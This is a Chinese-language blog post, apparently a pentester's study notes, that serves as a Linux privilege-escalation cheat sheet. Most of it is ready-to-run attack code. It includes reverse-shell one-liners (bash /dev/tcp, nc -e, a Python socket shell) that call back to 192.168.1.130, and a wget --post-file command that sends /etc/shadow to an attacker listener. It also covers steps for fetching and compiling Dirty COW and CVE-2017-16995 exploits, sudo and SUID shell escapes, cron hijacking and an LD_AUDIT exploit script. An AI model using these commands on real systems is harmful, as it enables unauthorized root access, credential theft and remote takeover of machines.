内网渗透(三)Linux提权

这篇文章介绍一下Linux权限提升。

0x01 Linux常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
uname -a   #查看内核/操作系统/cpu信息
hend -n 1 /etc/issue #查看操作系统版本
cat /proc/version #查看系统信息
hostname #查看计算机名
env #查看环境变量
ifconfig #查看网卡与ip
netstat -lntp #查看所有监听端口
netstat -antp #查看所有已经建立的连接
netstat -s #查看网络统计信息
iptables -L #查看防火墙设置
route -n #查看路由表
ps -ef #查看所有进程
top #实时显示进程状态
w #查看活动用户
id #查看指定用户信息
last #查看用户登录日志
cut -d: -f 1 /etc/passwd#查看系统所有用户
cut -d: -f 1 /etc/group#查看系统所有组
crontab -l #查看当前用户的计划任务
chkconfig –list #列出所有系统服务
chkconfig –list|grepon #列出所有启动的系统服务
//注意:Ubuntu 中 chkconfig 已经被 sysv-rc-conf 所替代
echo$PATH #查看系统路径

0x02 反弹shell命令

看这里:https://www.yuque.com/uf9n1x/websec/iwqdgysqmsugxm41

0x03 一些小问题

1、python实现交互式shell终端

有些时候系统的命令终端不允许直接访问,可以使用python虚拟化一个终端来执行

1
2
python-c'importpty;pty.spawn("/bin/bash")'
python3-c'importpty;pty.spawn("/bin/bash")'

使用su命令提示错误:

img

2、解决linux反弹shell乱码

2.1.建立交互shell

1
2
kali  nc -lvnp 2333
目标 bash -i >& /dev/tcp/192.168.1.128/2333 0>&1

2.2.使用python shell

1
python -c 'import pty;pty.spawn("/bin/bash")'

2.3.放置后台

crtl +z 放在后台
2.4.设置格式

1
2
stty raw -echo
stty -echo raw//一样的

2.5.fg命令再调用即可

0x04 Linux内核漏洞提权( 利用searchsploit搜索)

通常我们在拥有一个webshell的时候,一般权限都是WEB容器权限,如在iis就是iis用户组权限,在
apache就是apache权限,一般都是权限较低,均可执行一些普通命令,如查看当前用户,网络信息,
ip信息等。如果我想进行内网渗透就必须将权限提权到最高,如系统权限超级管理员权限。

1. 内核溢出提权

\1) 内核漏洞是最有效的提权方法。通杀的内核漏洞是十分少见的,因而我们应该先对系统相关的信息进行收集, 再搜索对应的exp进行提权攻击

1
2
3
4
5
6
7
8
//查看发行版本:这些命令作用都差不多,获取一些信息
cat /etc/issue
cat /etc/*-release
cat /etc/redhat-release
cat /proc/version
lsb_release -a
//查看内核版本
uname -a

img

img

\2) 利用kali自带的 searchsploit 来搜索对应版本的exp:(也可以直接去官网找https://www.exploit-db.com/)

1
2
3
4
searchspoit 发行版本内核版本
searchsploit -t Ubuntu 16.04 //-t仅搜索漏洞标题
searchsploit -s Ubuntu 16.04 //
searchsploit -s Linux Kernel 4.15.0

3)找到可利用的脚本之后,查看路径信息,并复制一个到当前目录(别损坏了漏洞库中原文件):

1
2
searchsploit -x linux/local/47169.c
cp /usr/share/exploitdb/exploits/linux/local/47169.c ./

imgimg

4)之后就是将脚本上传到目标机,进行编译,赋权,执行了。

1.如果有其他webshell,有上传权限,那就把这个脚本拿出来,上传上去,再执行就好

**2.如果没有其他上传途径,可以在攻击方本地开一个http服务,让目标来下载也行:(**开的服务默认在根目录起始)

1
2
3
python3 -m http-server  80
或(python2)
python -m SimpleHTTPServer 80

img

之后将脚本放到根目录,然后目标机来下载即可:

1
2
wget http://192.168.1.130/47169.c -O /tmp/47169.c 
//下载并保存到/tmp目录下

5)编译,加权限,执行

1
2
3
4
5
6
gcc 47169.c -o exp
chmod +x exp
./exp

//id测试是否提权成功
id
1.1 Linux_Exploit_Suggester

下载地址:https://github.com/mzet-/linux-exploit-suggester

很好用的一款提权辅助工具,用法很简单,在靶机上执行./linux-exploit-suggester.sh就会列出该靶机上可利用的漏洞编号.

img

2. 脏牛提权CVE-2016-5195

exp Github下载:

https://github.com/FireFart/dirtycow

https://github.com/gbonacini/CVE-2016-5195(https://gitcode.net/mirrors/gbonacini/CVE-2016-5195?utm_source=csdn_github_accelerator)

编译好的exp,包含Android平台与Linux平台版本

https://github.com/Brucetg/DirtyCow-EXP

脏牛系统提权范围:****linux内核=>2.6.22

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
● RHEL7 Linux x86_64
● RHEL4(4.4.7-16)
● Debian 7(“wheel”)
● Ubuntu 14.04.1 LTS
● Ubuntu 14.04.5 LTS
● Ubuntu 16.04.1 LTS
● Ubuntu 16.10
● Linux Mint 17.2
铿锵版本 4.0.0;
gcc 版本 6.2.0 20161005 (Ubuntu 6.2.0-5ubuntu12)
gcc 版本 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.1)
gcc 版本 4.8.5 20150623(红帽 4.8.5-4)(GCC);
gcc 版本 4.8.4 (Ubuntu 4.8.4);
gcc 版本 4.8.2 (Ubuntu 4.8.2-19ubuntu1)
gcc 版本 4.7.2 (Debian 4.7.2-5);
gcc 版本 4.4.7(带有“旧”版本)

漏洞成因:

Linux写时拷贝技术(copy-on-write)

在Linux系统中,fork()会产生一个和父进程完全相同的子进程,但子进程在此后多会exec系统调用,出于效率考虑,Linux系统中引入了“写时复制”技术,也就是只有进程空间的各段的内容要发生变化时,才会将父进程的内容复制一份给子进程。

演示:

1)使用dirty.c脚本进行提权

该漏洞利用dirtycow漏洞的pokemon漏洞利用作为基础,自动生成新的passwd行。运行二进制文件时,将提示用户输入新密码。然后将原始 /etc/passwd 文件备份到 /tmp/passwd.bak 并用生成的行覆盖 root 帐户。运行漏洞利用后,您应该能够使用新创建的用户登录。

1.下载/上传该脚本到目标机下:

1
git clone https://github.com/FireFart/dirtycow

img

2.编译该脚本:

1
2
3
4
5
6
7
8
gcc -pthread dirty.c -o dirty -lcrypt
1.-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
2.-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
3.-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
4.-std=c++11就是用按C++2011标准来编译的
5.-pthread 在Linux中要用到多线程时,需要链接pthread库
6.-o dcow gcc生成的目标文件,名字为dcow
7.-lcrypt 添加需要的外部库

img

3.添加可执行权限并执行

1
2
chmod +x ./dirty
./dirty 999999

4.之后就可以直接用密码999999登录root权限账户firefart

1
2
su firefart
999999

\5. 不要忘记在运行漏洞利用后恢复您的 /etc/passwd

1
mv /tmp/passwd.bak /etc/passwd

原理是利用exp获取了写入权限后,对/etc/passwd进行备份,然后对/etc/passwd进行重写,修改账户权限。优点方便快速。缺点受限与环境影响。某些环境下会失败。如果失败还是使用官方放出的exp,对/etc/passwd进行写入,写入前一定要记得先备份!

2)使用CVE-2016-5195提权

https://github.com/gbonacini/CVE-2016-5195

1.下载脚本到目标机器:

1
git clone https://github.com/gbonacini/CVE-2016-5195.git

2.编译成可执行文件

1
2
使用 g++ -Wall -PEDANTIC -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil 
或者直接输入 make 进行

img

3.执行脚本

1
2
./dcow -s
./dcow -h

3.CVE-2017-16995 ubuntu内核漏洞

1)影响版本

1
Linux Kernel Version 4.14-4.4 (主要影响Debian和Ubuntu发行版,Redhat和CentOS不受影响)

2)利用步骤

1
2
3
4
5
6
7
8
9
Linux本地内核提权 CVE-2017-16995
从网上下载exp,或者kali导出exp上传到提权主机上。
wget https://github.com/brl/grlh/archive/master.zip
编译:
gcc get-rekt-linux-hardened.c -o exp
gcc 45010.c -o 45010 编译
chmod +x 45010 增加权限
./45010 执行脚本返回root权限shell
id

0x05 滥用sudo导致的提权(需要普通用户可以sudo执行某些命令,又名sudo 提权)

以下这些程序如果被配置使用root权限启动,且该第三方服务或者程序存在漏洞或者配置问题,那么就可以被利用来获得root权限并且还要知道当前用户的密码

可以利用sudo提权的命令如下 :

1
2
3
wget、find、cat、apt、zip、xxd、time、taskset、
git、sed、pip、ed、tmux、scp、perl、bash、
less、awk、man、vi、env、ftp

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。换句话说通过此命令可以让非root的用户运行只有root才有权限执行的命令。

是不是每一个新创建的用户都可以使用sudo提升命令的权限呢?如果不是那么哪些用户可以使用此命令呢?要想使一个用户具有使用sudo的能力,需要让root用户将其名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信息注册到/etc/sudoers文件中,即完成对该用户的授权(此时该用户称为“sudoer”)才可以。

当一般用户执行特殊权限时,在命令前加上 sudo,此时系统会让你输入密码以确认终端机前操作的是你本人,确认后系统会将该命令的进程以超级用户的权限运行。

在一定的时间段内,再次执行sudo的命令时不再询问密码,超出此时间段(一般为5分钟)后需要再次输入密码。

在Linux/Unix中,/etc/sudoers文件是sudo权限的配置文件,其中储存了一些用户或组可以以root权限使用的命令。

查看用户能以root权限运行的命令:列出目前的权限

1
sudo -l

img

表示全可以执行

img

01.git 提权

1
2
3
4
5
6
7
8
sudo git help add
sudo git help config
sudo git -p help
//三选一
输密码

!/bin/bash
即可

02.find提权

普通用户find命令提权必要条件:find必须有s执行权限,有s表示可以提权

先查看find命令有没有提权的可能:

img

尝试执行whoami :

1
2
find / -type f -name getroot -exec "whoami" \;
这里的反斜杠\是用来转义分号;的

img

尝试调出一个交互式的bin/sh并且是root权限

1
sudo find /home -exec /bin/bash \;

img

此shell 为不完整的shell, 升级交互式。

1
2
3
4
5
6
7
8
#在反弹shell上执行
[root@localhost ~]# python -c 'import pty; pty.spawn("/bin/bash")'
[root@localhost ~]# ctrl +z 按键。挂起正在运行的程序
[kali机器 ~]# stty raw -echo
# 输入这个命令 在输入命令终端不再显示
[kali机器 ~]#fg
# 把后台挂起的程序,放入到控制台。终端不再显示命令,输入后回撤
[root@localhost ~]# reset

用find进行反弹shell

1
find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.1.130/2333 0>&1 \;

利用find+nc反弹shell

1
find /var/www/dirty -exec nc 192.168.1.130 2333 -t -e /bin/sh \;

find+python进行反弹shell

1
find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.130",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \;

03.zip提权( 核心sudo没有该命令,失效 )

zip 命令用于压缩文件,是个 使用广泛的压缩程序,压缩后的文件后缀名为 .zip。通过压缩一个存在的文件,并调用-T参数输出shell

\1. 下载zip(如果没有)apt install zip

\2. 创建一个1.txt,将其压缩为1.zip

\3. 执行

1
2
3
4
5
touch 1.txt
sudo zip 1.zip 1.txt -T --unzip-command="sh -c /bin/bash"

touch 1.txt
sudo -u root zip 1.zip 1.txt -T -unzip-command="sh -c /bin/bash"

04.awk/morpheus提权

1
2
 sudo awk 'BEGIN {system("/bin/sh")}'
sudo morpheus 'BEGIN {system("/bin/sh")}'

05.less**/more**提权

1
2
3
4
5
sudo less /etc/hosts
!bash
//若已被分配root权限
less /etc/passwd
!/bin/sh

06.man提权

1
2
sudo man man
!bash

07.env提权

1
sudo env /bin/bash

08.ed提权

1
2
sudo ed
!/bin/bash

09.apt提权

1
2
3
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt-get install -c $TF sl

img

10.pip提权

1
2
3
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

11.sed提权

1
sudo sed -n '1e exec sh 1>&0' /etc/passwd

12.tmux提权

1
sudo tmux 

13.nmap提权

版本5.0一下
*进入nmap交互模式 *

1
sudo nmap --interactive

14.taskset提权

1
sudo taskset 1 /bin/sh -p

15.scp提权

1
2
3
4
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:

16.ftp提权

1
2
sudo ftp 
!/bin/bash

17.perl提权

1
sudo perl -e 'exec "/bin/bash";'

0x06.不需要sudo执行权限的提权方式

01.wget提权(可能也需要sudo)

1
2
3
4
5
##kali上监听
nc -lvp 4444 > hash.txt
##靶机上
/usr/bin/wget --post-file=/etc/shadow 192.168.1.130:4444
sudo /usr/bin/wget --post-file=/etc/shadow 192.168.1.130:4444

此时,kali上拿到了hash.txt

img

02.Ubuntu计划任务提权(配合suid提权)

对于可能存在的权限配置不当的有root权限的计划任务,让我们普通用户也拥有修改的权限,我们修改其中的内容,为bash、less等赋予SUID权限,与SUID提权结合,使其提权成功!

列出系统中的一些计划任务:

1
2
ls -l /etc/cron*
cat /etc/crontab

img

crontab -l查看当前用户命令

img

/var/spool/cron/crontabs/root这个目录是root任务文件默认是不是root权限是看不到

img

tail-f/var/log/syslog

img
查看日志文件发现root每一分钟会执行一次cleanup.py文件
修改内容反弹shell

img

如果遇到了权限为777配置不当的计划任务,我们可以修改时,我们可以往文件里面添加内容。

比如把shell复制到tmp目录下其次给权限

1
cp /bin/bash /tmp/bash; chmod u+s /tmp/bash;

或者给其他组件权限也可以进行提权,比如find、vim、less之类的,具体方法上面有写。

03. teehee提权

teehee提权是使用teehee -a 把一个账号密码写入到etc/passwd中,这个用户具有root权限,再切换到这个用户即可

1
2
3
echo "light::0:0:::/bin/bash" | sudo teehee -a /etc/passwd    //提权语句
su light
cat /root/flag.txt

04.脚本ping提权

核心pinggcc没有则无法实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
vi 2.sh
unset LD_AUDIT
rm -r -f /tmp/exploit
mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 3< /tmp/exploit/target
ls -l /proc/$$/fd/3
rm -rf /tmp/exploit
ls -l /proc/$$/fd/3
cat > program.c << _EOF
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
_EOF
gcc -w -fPIC -shared -o /tmp/exploit program.c
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
unset LD_AUDIT
chmod 777 2.sh
./2.sh

05 寻找高权限用户提权

拿到shell后进入开始寻找

1
2
3
4
cat /etc/passwd   (查看是否存在高权限用户)
cd /home (进入高级用户目录查看文件)
(进入其他用户目录,查看文件寻找密码,一般来说都可以通过历史History,wordpass)
然后登录sudo 用户名

06 screen提权

步骤和其他服务(exim4,apache,linux内核…)查询一样的都是searchsploit加服务然后上传运行

1
2
searchsploit screen 版本号 
cat *.sh 一般来说这些sh文件都要拆分出来用,会吧会拆分吧{}

07 SUID提权

注意:suid提权是短暂的,能帮我们以root权限执行指定的命令

1)什么是SUID

img

SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限

当s这个标志出现在文件所有者的x权限上时,如/usr/bin/passwd这个文件的权限状态:“-rwsr-xr-x”,此时就被称为Set UID,简称为SUID。那么这个特殊权限的特殊性的作用是什么呢?

1
2
3
4
1、SUID权限仅对二进制程序(binary program)有效;
2、执行者对于该程序需要具有x的可执行权限;
3、本权限仅在执行该程序的过程中有效(run-time);
4、执行者将具有该程序拥有者(owner)的权限。

SUID的目的就是:让本来没有相应权限的用户运行这个程序时,可以访问他没有权限访问的资源。

2)用此命令即可 找到具有 SUID 权限的参数:

1
2
3
4
5
6
7
8
9
10
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
三选一
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)

会查找到很多。常见suid提权文件有:

nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget

img 在后面,看到 find 也具有 SUID权限。 (因此这里以find为例) 那么我们就可以进行进一步提权了。

1.切换到 tmp 目录

2.输入whoami 可以看到我们还是普通用户 ,那么我们使用具有SUID权限的find 命令 是否能够成功提权呢?

3.我们需要先创建文件,因为find 命令 需要一个指向性的查找。

4.执行命令提权:

1
2
3
find test.txt -exec whoami \;
find /home -exec /bin/bash \;
python -c 'import pty;pty.spawn("/bin/bash")' 生成交互式终端

用find进行反弹shell

1
find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.1.130/2333 0>&1 \;

利用find+nc反弹shell

1
find /var/www/dirty -exec nc 192.168.1.130 2333 -t -e /bin/sh \;

find+python进行反弹shell

1
find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.130",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \;
其他利用方式:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
find命令
sudo find . -exec /bin/sh \; -quit 
进行反弹shell也可以
find dirty -exec nc -lvp 9999 -e /bin/sh ;

chmod命令
sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod
ash,linux shell
sudo ash

cp命令
sudo sh -c 'cp $(which cp) .; chmod +s ./cp 

gdb命令
gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

更多suid利用方式:https://gtfobins.github.io/gtfobins

https://blog.csdn.net/qq_51524329/article/details/121962005

常用指令提权方法

命令 利用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
命令	      利用方法
zsh zsh
xargs xargs -a /dev/null sh -p
watch watch -x sh -c ‘reset; exec sh -p 1>&0 2>&0’
timeout timeout 7d /bin/sh -p
time time /bin/sh -p
tclsh 1、tclsh 2、exec /bin/sh -p <@stdin >@stdout 2>@stderr
taskset taskset 1 /bin/sh -p
stdbuf stdbuf -i0 /bin/sh -p
strace strace -o /dev/null /bin/sh -p
ssh ssh -o ProxyCommand=’;sh -p 0<&2 1>&2’ x
setarch setarch $(arch) /bin/sh -p
rsync rsync -e ‘sh -p -c “sh -p 0<&2 1>&2”’ 127.0.0.1:/dev/null
rpm rpm --eval ‘%{lua:os.execute("/bin/sh -p")}’
python python -c ‘import os; os.execl("/bin/sh", “sh”, “-p”)’
php 1、CMD="/bin/sh" 2、 php -r “pcntl_exec(’/bin/sh’, [’-p’]);”
nice nice /bin/sh -p
nano 1、nano //运行nano程序 2、^R //按下ctrl-r 3、^X //按下ctrl-x 4、reset; sh -p 1>&0 2>&0
// 输 入下面的命令
more 1、more /etc/profile 2、!/bin/sh -p
logsave logsave /dev/null /bin/sh -i -p
less less /etc/profile //读取文件,在底行输入!/bin/sh -p
ksh ksh -p
ip 1、ip netns add foo 2、ip netns exec foo /bin/sh -p 3、ip netns delete foo
ionice ionice /bin/sh -p
git git help status
gimp gimp -idf --batch-interpreter=python-fu-eval -b ‘import os; os.execl("/bin/sh", “sh”, “-p”)’
gdb gdb -nx -ex ‘python import os; os.execl("/bin/sh", “sh”, “-p”)’ -ex quit
ftp ftp //在底行输入“!/bin/sh -p”
flock flock -u / /bin/sh -p
find find . -exec /bin/sh -p ; -quit
expect expect -c ‘spawn /bin/sh -p;interact’
env env /bin/sh -p
ed ed //在底行输入“!/bin/sh -p”
docker docker run -v /:/mnt --rm -it alpine chroot /mnt sh
dmesg dmesg -H//在底行输入“!/bin/sh -p”
csh csh -b
bash bash -p
awk awk ‘BEGIN {system("/bin/bash -p")}’
perl perl exec “/bin/bash”;

0x07 udf提权

https://view.inews.qq.com/a/20220612A022PB00

https://blog.csdn.net/qq_44881113/article/details/118907122

https://blog.csdn.net/m0_57221101/article/details/123936958?spm=1001.2101.3001.6650.3&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-4-123936958-blog-127457975.pc_relevant_aa&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-4-123936958-blog-127457975.pc_relevant_aa&utm_relevant_index=4

0x08 还需要消化的一些好文章:

https://cloud.tencent.com/developer/article/1942516

https://www.secpulse.com/archives/72965.html

https://bbs.zkaq.cn/t/6624.html

https://blog.csdn.net/weixin_45441727/article/details/114643796?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-114643796-blog-108140862.pc_relevant_default&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-114643796-blog-108140862.pc_relevant_default&utm_relevant_index=1

文章作者: uf9n1x
文章链接: https://uf9n1x.top/2023/04/16/nei-wang-shen-tou-san-linux-ti-quan/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Uf9n1x's Blog